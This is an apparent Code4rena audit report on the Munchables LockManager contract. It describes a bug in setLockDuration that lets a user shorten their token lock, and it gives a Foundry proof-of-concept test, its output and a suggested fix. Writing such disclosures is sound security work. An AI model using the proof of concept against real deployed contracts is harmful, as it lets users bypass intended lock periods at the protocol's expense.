Munchables - yashgoel72's results

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L265

Vulnerability details

[Medium] Unlock Time Can Be Set to a Lower Value Than the Current Unlock Time

The setLockDuration function is designed to set the lock duration in seconds for which tokens are locked. However, there is a critical flaw in how the new unlock time is calculated and set. The current implementation checks if the new unlock time is less than the current unlock time and reverts in that case, but it incorrectly updates the unlock time by adding the new duration to the last lock time, potentially setting an earlier unlock time than intended. Vulnerable Code

lockedTokens[msg.sender][tokenContract].unlockTime =
    lastLockTime + uint32(_duration);

This can inadvertently reduce the unlock time if lastLockTime + _duration is less than the existing unlockTime. This can be exploited by a user to prematurely unlock their tokens, bypassing the intended lock duration. For instance, users can lock their tokens, perform actions like revealing NFTs, and then unlock their tokens before the actual unlock time, compromising the security and integrity of the locking mechanism.

Proof of Concept

This vulnerability can be exploited as follows:

1. A user initially sets a lock duration of 90 days.
2. After 45 days, the user calls setLockDuration with a new duration of 45 days.
3. The new unlock time is set to a value earlier than the initial unlock time, allowing the user to unlock their tokens sooner than intended.

    function test_setLockDuration() public {
        uint256 lockAmount = 100e18;
        deployContracts();
        // register me
        amp.register(MunchablesCommonLib.Realm(3), address(0));
        // lock tokens
        lm.lock{value: lockAmount}(address(0), lockAmount);

        lm.setLockDuration(90 days);
        ILockManager.LockedTokenWithMetadata[] memory lockedTokens = lm
            .getLocked(address(this));
        uint256 actualUnlockTime = lockedTokens[0].lockedToken.unlockTime;

        // Warp time forward by 45 days
        vm.warp(block.timestamp + 45 days);

        // Set a new lock duration of 45 days
        lm.setLockDuration(45 days);
        lockedTokens = lm
            .getLocked(address(this));
        uint256 modifiedUnlockTime = lockedTokens[0].lockedToken.unlockTime;
        console.log("Initial UnlockTime Set :" , actualUnlockTime);
        console.log("Modified UnlockTime Set :" , modifiedUnlockTime);

        // Check that the new unlock time is less than initial unlock time
        assertEq(modifiedUnlockTime < actualUnlockTime , true);
    }

• Foundry Test Result

  ├─ [0] console::log("Initial UnlockTime Set :", 7776001 [7.776e6]) [staticcall] │ └─ ← [Stop] ├─ [0] console::log("Modified UnlockTime Set :", 3888001 [3.888e6]) [staticcall] │ └─ ← [Stop] ├─ [0] VM::assertEq(true, true) [staticcall] │ └─ ← [Return] └─ ← [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 128.08ms (107.24ms CPU time)

Tools Used

• Manual Audit
• Foundry

Recommended Mitigation Steps

Modify the setLockDuration function to ensure that the unlock time is always set based on the current block timestamp and the new duration, rather than the last lock time. Here is the corrected implementation

 lockedTokens[msg.sender][tokenContract].unlockTime =
                block.timestamp + uint32(_duration); // Ensure unlock time is based on current block timestamp

Assessed type

Timing